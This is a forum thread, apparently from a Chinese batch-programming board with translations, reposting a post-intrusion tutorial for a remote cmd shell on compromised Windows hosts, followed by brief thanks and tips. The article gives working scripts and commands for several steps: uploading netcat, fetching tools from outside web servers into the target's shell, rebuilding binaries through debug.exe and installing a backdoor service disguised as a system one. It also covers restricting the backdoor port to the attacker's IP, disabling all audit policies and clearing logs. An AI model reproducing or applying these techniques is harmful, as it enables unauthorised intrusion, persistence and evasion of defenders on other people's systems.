.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with
Save it as up.vbs. Suppose the target IP is 123.45.67.89, up.asp is in the IIS virtual root directory, and the file to be uploaded is nc.exe, which is saved as mm.exe after uploading. The corresponding command is:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
Note that this command is executed in the local command line, so do not make a mistake.
In addition, uploading through IIS will leave a log, so remember to clear it.
2, Automatically download to the web cache.
For example:
start its:http://www.sometips.com/soft/ps.exe
After executing the above command in the remote shell, ps.exe has been downloaded to the web cache directory of the target host. Then:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps.exe
Thus, the specific location of ps.exe is obtained (it is different for each host), such as:
Directory of C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT
2004-01-24 14:24 49,152 ps.exe
1 File(s) 49,152 bytes
Finally:
copy AB094JIT\ps.exe c:\path\ps.exe
del AB094JIT\ps.exe
Supplementary instructions:
For a shell provided by a backdoor started as a service, the user identity is generally System. At this time, the location of the web cache directory is as shown in the example. If the identity of the shell is not System, the Default User needs to be modified to the corresponding user name.
This method will start an IE process, remember to kill it. If it is a System identity shell, no window will appear locally to be exposed.
In addition, using ms-its instead of its has exactly the same effect.
3, Echo a script to download web resources.
The ready-made tool is iGet.vbs. I will give another version with necessary fault tolerance functions.
Still the echo version:
@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
For example - download ps.exe and save it to c:\path:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
Note that this is executed in the remote shell.
4, Echo any file that has been encoded, and then use a script + debug to restore it.
The above two methods cannot guarantee to pass through the firewall. Moreover, unless you set up your own Web server, general Web resources are provided in the form of compressed files. If the target host does not have an extraction tool, it is still impossible. Then only the "killer move" is left!
The echo command plus the redirection operator can write characters with ASCII codes less than 128, but not those greater than or equal to 128. Only by re-encoding the local file into displayable characters can it be conveniently written to the remote host. The first thing that comes to mind is base64 encoding, which is the encoding method for email attachments. But vbs does not support bit operations, so encoding and decoding are more complicated. What's more troublesome is that the script has very poor ability to process files in binary stream mode. (ADODB.Stream can write files in stream mode, but I cannot construct the corresponding data type. The binary data stream can be converted into a string using the midb function, but the reverse is not possible. I spent two days, but still couldn't solve this problem. If anyone can write any byte data to a file using vbs or js, I would be grateful for your advice.)
There is no choice but to ask debug.exe to come forward. The principle is known to many people, so I will not introduce it. Directly give the result - the encoding script:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
Save it as echo.vbs. Suppose you want to upload nc.exe, then enter the command in the local command line:
cscript echo.vbs nc.exe
You can also directly drag the icon of the file to be transferred onto the icon of the script file.
Wait for a while, and a nc.exe.bat will be generated in the current directory. Open it with a text editor such as Notepad, and you can see the following content:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(Omitted several lines)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
Select all -> Copy -> Switch to the remote command line window -> Paste.
If the network speed is not very slow, the entire upload process takes about 20 seconds.
Some notes:
1, Large file transfer is unstable and may cause the shell to die. So the smaller the file, the better the effect. It is recommended that the original file does not exceed 100KB.
2, Before transferring a large file, you can first transfer a small file as a "warm-up" to keep the 16-bit virtual machine ntvdm.exe in the background. After all files are transferred, for the sake of concealment, the ntvdm process should be killed.
3, For some cmd shells, each command needs to be appended with two carriages returns, so the nc.exe.bat cannot be used directly.
4, The length of a single command is limited, so it is not possible to complete all tasks with only one echo. Moreover, for the cmd shell provided by nc, a slightly longer command will automatically make the shell exit (overflow?). You can modify the "i mod 128=0" statement to adjust the length of each echo command. The number of characters for each echo is twice this number.
5, The decoding process can be done without a script. The purpose of using a script is to reduce the amount of data transmitted (because the data is compressed). If there is time, I will write a more perfect script to enhance data compression ability and add data verification function.
Of course, it is easy to do everything once you can upload files, but many operations are more convenient with Windows-built tools. When you are looking for the tools you need everywhere, don't forget Windows itself.
System Configuration
This section includes three aspects: registry, service, and group policy.
Let's start with the registry. Many command-line tools to access the registry are interactive. The shell generated by overflow generally cannot redirect input/output streams again, so they cannot be used.
Fortunately, regedit.exe built into the system is sufficient.
1, Read the registry
First, export the registry key you want to query, then use type to view it. For example:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
So the port of the terminal service is 3389 (hexadecimal d3d)
2, Modify/delete registry keys
First, echo a reg file, then import it. For example:
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
Change the telnet service port to 2323 (hexadecimal 913) and the NTLM authentication method to 1.
To delete a key, add a minus sign in front of the name. For example:
To delete a value, use a minus sign after the equal sign. For example:
"KAVRun"=-
3, Access the registry using an inf file
The above three operations on the registry can also be implemented using the following inf file:
Signature="$WINDOWS NT$"
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
Write it to c:\path\reg.inf and then use the following command to "install":
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
Some notes:
1, and are necessary, and at least one of AddReg and DelReg is required. My_AddReg_Name and My_DelReg_Name can be customized.
0x00010001 means the REG_DWORD data type, 0x00000000 or omitting this item (keeping the comma) means REG_SZ (string). 0x00020000 means REG_EXPAND_SZ.
2323 can also be replaced with 0x913.
For detailed information about inf files, refer to the DDK help document.
2, InstallHinfSection is case-sensitive. There is only one comma between it and setupapi, with no space.
128 means the given path. For other values and meanings of this parameter, refer to MSDN.
Special note: The last parameter must be the full path of the inf file, do not use a relative path.
3, The items in the inf file are case-insensitive.
Next, let's talk about services. If you want to start or stop a service, you can use the net command. But if you want to add or delete a service, you need to use tools such as SC, instsrv.exe, xnet.exe, etc. And these tools are not built into the system (XP and 2003 have SC built-in). Importing the registry can be done, but the effect is not good, and the reason will be mentioned later. Still, it's up to the inf file to come into play.
Add a service:
Signature="$WINDOWS NT$"
AddService=inetsvr,,My_AddService_Name
DisplayName=Windows Internet Service
Description=Provides support for managing Internet information services.
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
Save it as inetsvr.inf, then:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
This example adds a service named inetsvr (it's very similar to the system-built service, hehe).
Some notes:
1, The last four items are respectively
Service type: 0x10 is an independent process service, 0x20 is a shared process service (such as svchost);
Start type: 0 loaded when the system boots, 1 loaded when the OS initializes, 2 automatically started by SCM (Service Control Manager), 3 started manually, 4 disabled.
(Note that 0 and 1 can only be used for drivers)
Error control: 0 ignore, 1 continue and warn, 2 switch to LastKnownGood settings, 3 blue screen.
Service program location: %11% means the system32 directory, %10% means the system directory (WINNT or Windows), %12% is the driver directory system32\drivers. For other values, refer to the DDK. You can also not use variables and directly use the full path.
These four items are necessary.
2, In addition to the six items in the example, there are also LoadOrderGroup, Dependencies, etc. They are not commonly used, so they are not introduced.
3, There are two commas after inetsvr because one less commonly used parameter flags is omitted in the middle.
Delete a service:
Signature="$WINDOWS NT$"
DelService=inetsvr
It's very simple, isn't it?
Of course, you can also achieve the purpose by importing the registry. But the inf has its own advantages.
1, Export the registry key of a system-built service, and you will find that its execution path is like this:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
It's not easy to read. In fact, it is %SystemRoot%\system32\tlntsvr.exe, but the data type is REG_EXPAND_SZ. When manually importing the registry to add a service, defining ImagePath in this way is obviously very inconvenient. If REG_SZ is used instead, there will be some problems - the environment variable cannot be used. That is, only the full path can be used. The inf file has no such problem at all, and ServiceBinary (that is, ImagePath) automatically becomes REG_EXPAND_SZ.
2, The most crucial point is that, like using tools such as SC, the effect of the inf file takes effect immediately, while after importing reg, it is only effective after restarting.
3, The inf file will automatically add a Security subkey to the registry key of the service, making it look more like a system-built service.
In addition, AddService and DelService as well as AddReg, DelReg can be used simultaneously and repeatedly. That is, multiple services and registry keys can be added and deleted simultaneously. For detailed content, please refer to the DDK.
Finally, let's talk about group policy. Group policy is an important means to establish a Windows security environment, especially in a Windows domain environment. An excellent system administrator should be able to master and apply group policy proficiently. To access group policy in the window interface, use gpedit.msc, and in the command line, use secedit.exe.
First, look at the secedit command syntax:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
The functions of the 5 commands are respectively analyze group policy, configure group policy, export group policy, validate template syntax, and update group policy. Among them, secedit /refreshpolicy is replaced by gpupdate in XP/2003. You can check the specific syntax of these commands in the command line by yourself.
Unlike accessing the registry which only requires a reg file, to access group policy, in addition to having a template file (still inf), a security database file (sdb) is also needed. To modify group policy, you must first import the template into the security database, and then refresh the group policy by applying the security database. Let's look at an example:
Suppose I want to set the minimum password length to 6 and enable "Password must meet complexity requirements", then first write such a template:
signature="$CHICAGO$"
MinimumPasswordLength = 6
PasswordComplexity = 1
Save it as gp.inf, then import it:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
This command is executed, and a gp.sdb will be generated in the current directory. It is an "intermediate product", and you can delete it.
The /quiet parameter means "quiet mode" and does not generate a log. But according to my test, this parameter seems to have no effect under 2000sp4, and it is normal under XP. The log is always saved in %windir%\security\logs\scesrv.log. You can also specify the log yourself to delete it later. For example:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
In addition, before importing the template, you can first analyze whether the syntax is correct:
secedit /validate gp.inf
Then, how do you know the specific syntax? Of course, go to MSDN to find it. There is also a lazy way, because the system has some built-in security templates, in the %windir%\security\templates directory. Open these templates, basically containing the commonly used security setting syntax, and it is easy to understand.
Another example - turn off all "audit policies". (The events it audits will be recorded in "Security" in the Event Viewer).
Echo version:
echo >1.inf
echo signature="$CHICAGO$" >>1.inf
echo >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
Some people may say: Group policy is saved in the registry, why not directly modify the registry? Because not all group policies are saved in the registry. For example, "audit policies" are not. You can use regsnap to compare the changes in the registry before and after modifying this policy. The result of my test is that nothing has changed. Only the "Administrative Templates" part is completely based on the registry. Moreover, once you know the specific location, it is not complicated to use either method.
For example, the "Local Policy" -> "Security Options" in XP and 2003 has added a "Local account sharing and security mode" policy. The default setting in XP is "Guest only". This is why connecting to the ipc$ of XP with an administrator account still has only Guest permissions. It can be modified to "Classic" by importing a reg file:
echo Windows Registry Editor Version 5.00 >1.reg
echo >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
And correspondingly, using inf, it should be:
echo >1.inf
echo signature="$CHICAGO$" >>1.inf
echo >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
Regarding the problem of reading group policy in the command line.
The default security database of the system is located in %windir%\security\database\secedit.sdb. Export it to an inf file:
secedit /export /cfg gp.inf /log 1.log
Not using the /db parameter to specify the database is to use the default. Then view gp.inf.
However, what is obtained in this way is only a part of the group policy (that is, "Windows Settings"). Moreover, if a policy is not configured, it will not be exported. For example, "Rename the administrator account" will only appear in the inf file if it is defined. For other group policies that cannot be exported, you can only access the registry to obtain them.
This method is invalid under XP and 2003 - it can be exported but the content is basically empty. The reason is unknown. According to official information, XP and 2003 use RSoP (Group Policy Results Set) to display group policy. The corresponding command-line tool is gpresult. However, the result obtained by it is the group policy attached (from the domain) when the system starts. The test result of a standalone machine is still "empty". So, if you want to know whether some group policies are set, you can only write an inf first, then use secedit /analyze, and then view the log.
Network Configuration
There are many command-line tools related to the network built into Windows, such as the familiar ping, tracert, ipconfig, telnet, ftp, tftp, netstat, as well as less familiar nbtstat, pathping, nslookup, finger, route, netsh...
These commands can be divided into three categories: network detection (such as ping), network connection (such as telnet), and network configuration (such as netsh). The first two are relatively simple, and this article only introduces two network configuration tools.
netsh
When using netsh in a remote shell, the first thing to solve is the problem of the interactive mode. As mentioned earlier, many shells cannot redirect input and output again, so interactive command-line tools such as ftp cannot be used in this environment. The solution is that generally, interactive tools allow the use of scripts (or called response files). For example, ftp -s:filename. netsh is the same: netsh -f filename.
The functions of the netsh command are very many, and it can configure IAS, DHCP, RAS, WINS, NAT servers, TCP/IP protocol, IPX protocol, routing, etc. We are not administrators, and generally there is no need to understand so much. We only need to use netsh to understand the network configuration information of the target host.
1, TCP/IP configuration
echo interface ip >s
echo show config >>s
netsh -f s
del s
In this way, you can understand how many network cards and IPs this host has, whether it is a dynamically assigned IP (DHCP), and what the internal network IP is (if any).
This command is similar to ipconfig /all.
Note that the following commands require the target host to start the remoteaccess service. If it is disabled, please first enable it by importing the registry, then
net start remoteaccess
2, ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
This has a little more information than the arp -a command.
3, TCP/UDP connection
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
This group of commands is the same as netstat -an.
4, Network card information
If the netsh command can be replaced by other commands, then what is the necessity of its existence? The following one cannot be found to be replaced.
echo interface ip >s
echo show interface >>s
netsh -f s
del s
Other functions of netsh, such as modifying the IP, are generally not necessary to use (in case the IP is changed and you can't connect, it will be "helpless"), so all are omitted.
IPSec
First, it needs to be pointed out that IPSec and TCP/IP filtering are different things, and everyone should not confuse them. The function of TCP/IP filtering is very limited, far less flexible and powerful than IPSec. The following is about how to control IPSec in the command line.
The ipseccmd is used in XP system, and ipsecpol is used in 2000. Unfortunately, neither of them is built into the system. ipseccmd is in SUPPORT\TOOLS\SUPPORT.CAB on the XP system installation disk, and ipsecpol is in the 2000 Resource Kit. Moreover, to use ipsecpol, you must also bring the other two files: ipsecutil.dll and text2pol.dll. The three files are a total of 119KB.
IPSec can be controlled through group policy, but I have searched MSDN and cannot find the syntax of the corresponding security template. The configured IPSec policy cannot be exported as a template. So, this path of group policy is not feasible. The settings of IPSec are saved in the registry (HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local). In theory, IPSec can be configured by modifying the registry. But a lot of information is stored in binary form, and it is very difficult to read and modify. Compared with uploading the command-line tool, it is more convenient.
Regarding the information about ipsecpol and ipseccmd, a lot of information can be found on the Internet, so this article will not elaborate, but only list some practical examples.
In terms of setting up IPSec policies, the syntax of the ipseccmd command is almost exactly the same as that of ipsecpol, so only ipsecpol is taken as an example:
1, Defend against rpc-dcom attacks
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
This command closes the local host's TCP 135, 139, 445 and UDP 135, 137, 138, 445 ports.
The specific meaning is as follows:
-p myfirewall specifies the policy name as myfirewall
-r rpc-dcom specifies the rule name as rpc-dcom
-f …… Establish 7 filters. * means any address (source); 0 means the local host address (target); + means mirror (two-way) filtering. For detailed syntax, see ipsecpol -?
-n BLOCK specifies that the filtering operation is "block". Note that BLOCK must be in uppercase.
-w reg writes the configuration to the registry, and it is still effective after restarting.
-x activates this policy immediately.
2, Prevent being pinged
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
If the policy named myfirewall already exists, the antiping rule will be added to it.
Note that this rule also prevents the host from pinging others.
3, IP restriction for the backdoor
Suppose you have installed DameWare Mini Remote Control on a certain host. In order to protect it from being brute-forced for passwords or overflowed, you should restrict access to its service port 6129.
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
In this way, only 123.45.67.89 can access the 6129 port of this host.
If you have a dynamic IP, you should set the rules according to the IP allocation range. For example:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
In this way, IPs from 123.45.67.1 to 123.45.67.254 are allowed to access the 6129 port.
When writing rules, you should be especially careful not to block yourself. If you are not sure whether the effect of a certain rule is as expected, you can first use the scheduled task to "leave a back door". For example:
c:\>net start schedule
Task Scheduler service is starting ..
Task Scheduler service has started successfully.
c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
A new job has been added, and its job ID = 1
Then, you have 5 minutes to set up a myfw policy and test it. After 5 minutes, the scheduled task will stop this policy.
If the test result is not ideal, then delete this policy.
c:\>ipsecpol -p myfw -o -w reg
Note that the policy must be stopped before deleting it. If it is not stopped, even if it is deleted, it will continue to take effect for a period of time. The duration depends on the refresh time of the policy, and the default is 180 minutes.
If the test passes, then enable it.
c:\>ipsecpol -p myfw -x -w reg
Finally, let's talk about the way to view the IPSec policy.
For XP, it's very simple, a single command can be done - ipseccmd show filters
And ipsecpol has no query function. You need to use another command-line tool netdiag. It is in SUPPORT\TOOLS\SUPPORT.CAB on the 2000 system installation disk. (Since three files have been uploaded, it doesn't matter if one more is added. ^_^)
netdiag requires the support of the RemoteRegistry service. So first start this service:
net start remoteregistry
If the RemoteRegistry is not started, an error will be obtained:
Failed to get system information of this machine.
The netdiag tool is very powerful, and all network-related information can be obtained! However, the output information is sometimes too detailed, exceeding the output cache of the command-line console cmd.exe, and not every remote cmd shell can use the more command to page.
The command to view the ipsec policy is:
netdiag /debug /test:ipsec
Then there is a long string of output information. The IPSec policy is at the end.
Software Installation
The installation process of a software/tool generally only does two things: copying files to a specific directory and modifying the registry. As long as the specific content is figured out, then you can implement it yourself in the command line. (Not considering situations such as needing to register and activate after installation)
WinPcap is a very commonly used tool, but it must be installed in the window interface. There is also a version without GUI found on the Internet (but there is still a copyright page). In fact, we can completely make one ourselves.
Take WinPcap 3.0a as an example. By comparing the file system and registry snapshots before and after installation, it is easy to understand the entire installation process.
Excluding the uninstall part, the key files are three: wpcap.dll, packet.dll, and npf.sys. The first two files are in the system32 directory, and the third is in the system32\drivers directory. The change in the registry is to add a system service NPF. Note that it is a system service (that is, a driver) not a Win32 service.
As a system service, not only does it need to add a primary key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services, but also add a primary key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root. And the latter is only modifiable by the SYSTEM identity by default. Fortunately, there is no need to add it manually, and winpcap will handle it automatically when called. Even without manually modifying the registry, winpcap will do everything by itself, and only need to copy the three files to the appropriate location.
As an example, still demonstrate how to modify the registry: use the inf file mentioned earlier to implement.
Signature="$WINDOWS NT$"
AddService=NPF,,winpcap_svr
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
Save the above content as _wpcap_.inf file.
Then write a batch file _wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
Then use winrar to package all files (5 files) into a self-extracting exe, and set the 'Advanced Self-Extraction Options' -> 'Run after extraction' to _wpcap_.bat, and the command-line winpcap installation package is made.
Note that there is no carriage return character at the end of the batch file. Otherwise, it cannot be deleted because it is running.
All software installations can basically follow this idea. But there are exceptions, that is, the installation of system patches.
Because the system patch may replace a file that is being executed or accessed, so the copy command is not feasible.
Fortunately, Windows patch packages support command-line installation.
For example:
KB824146.exe -n -z -q
-n does not keep backups
-z does not restart
-q quiet mode
If there are a bunch of patches to be applied, then use RAR to package them into a self-extracting file, plus a batch file.
for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0
Windows Scripts
Many things are very concise to do with scripts. The following gives the echo versions of several commonly used scripts.
1, Display system version
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
2, List processes
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
3, Terminate a process
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
To terminate a process with PID 123, use the following syntax:
cscript pk.vbs 123
If 0 is displayed, it means the termination is successful.
Then:
del pk.vbs
4, Restart the system
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5, List self-starting services
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6, List running services
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7, Display the last boot time of the system
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
The displayed result format is:
yyyymmddHHMMSSxxxxxxZZZZ
_Year_Month_Day_Hour_Minute_Second_Microsecond_Timezone
8, Display the running time of the system
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
This running time is obtained from the performance counter as a 64-bit integer, and there will be no overflow situation after 49.7 days.
Postscript
The cmd shell is profound and extensive. This article briefly talks about some common techniques, hoping to be helpful to everyone.
Maybe you already knew these methods, maybe you have better methods, and I hope you can write them out and share with everyone.
Finally, thank you for reading this article patiently. My level is limited, and I sincerely ask for corrections for any mistakes.
Last edited by willsort on 2006-6-3 at 21:45 ]
|

※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得! |
|
2006-6-3 21:19 |
|
|
wang6610
银牌会员
    
积分 1246
发帖 488
注册 2003-11-11
状态 离线
|
『第 2 楼』:
请教willsort版主
使用 LLM 解释/回答一下
请教willsort版主: 这样的宽带WEB验证,能否用命令行登陆。
服务器主页地址就是:
http://172.19.1.3
Asking moderator willsort: Can such a broadband WEB authentication be logged in via the command line?
The server homepage address is:
http://172.19.1.3
附件
1: 172.19.1.3.rar (2006-6-4 12:30, 824 bytes, 下载附件所需积分 1 点
,下载次数: 84)
|
|
2006-6-4 12:30 |
|
|
Roy
管理员
          專業島民
积分 4869
发帖 1633
注册 2002-12-10
状态 离线
|
|
2006-6-5 11:11 |
|
|
electronixtar
铂金会员
      
积分 7493
发帖 2672
注册 2005-9-2
状态 离线
|
『第 4 楼』:
使用 LLM 解释/回答一下
受益非浅!最近研究XMLhttp,郁闷ing..~~
Benefited a lot! Recently researching XMLhttp, feeling depressed..~~
|

C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>" |
|
2006-6-6 10:00 |
|
|
qylml
新手上路

积分 10
发帖 5
注册 2006-6-13
状态 离线
|
『第 5 楼』:
使用 LLM 解释/回答一下
谢谢,又学到了一些东西...
Thanks, I've learned some more things...
|
|
2006-6-14 21:02 |
|
|
wang6610
银牌会员
    
积分 1246
发帖 488
注册 2003-11-11
状态 离线
|
『第 6 楼』:
使用 LLM 解释/回答一下
Originally posted by Roy at 2006-6-5 11:11 AM:
用wget可以做到。
wget -O - --post-data=DDDDD=用戶名&upass=密碼&0MKKey=登录(Login) http://172.19.1.3/
谢谢Roy斑竹的回复,我把&改为"&"测试成功。。。
Originally posted by Roy at 2006-6-5 11:11 AM:
You can do it with wget.
wget -O - --post-data=DDDDD=username&upass=password&0MKKey=Login http://172.19.1.3/
Thank you, moderator Roy, for your reply. I tested it successfully by changing & to "&".
|
|
2006-6-15 10:18 |
|
|
electronixtar
铂金会员
      
积分 7493
发帖 2672
注册 2005-9-2
状态 离线
|
『第 7 楼』:
使用 LLM 解释/回答一下
其实里边的 netsh 还可以简化
netsh int ip show config
看来网上的cmd功夫还是咱们论坛最强啊,呵呵
Actually, the netsh inside can also be simplified
netsh int ip show config
It seems that the CMD skills on the Internet are still the strongest in our forum, heh heh
|

C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>" |
|
2006-10-16 05:22 |
|
|
lxmxn
版主
       
积分 11386
发帖 4938
注册 2006-7-23
状态 离线
|
『第 8 楼』:
使用 LLM 解释/回答一下
学习中………………DO ALL IN CMD SHELL!!!
Studying………………DO ALL IN CMD SHELL!!!
|
|
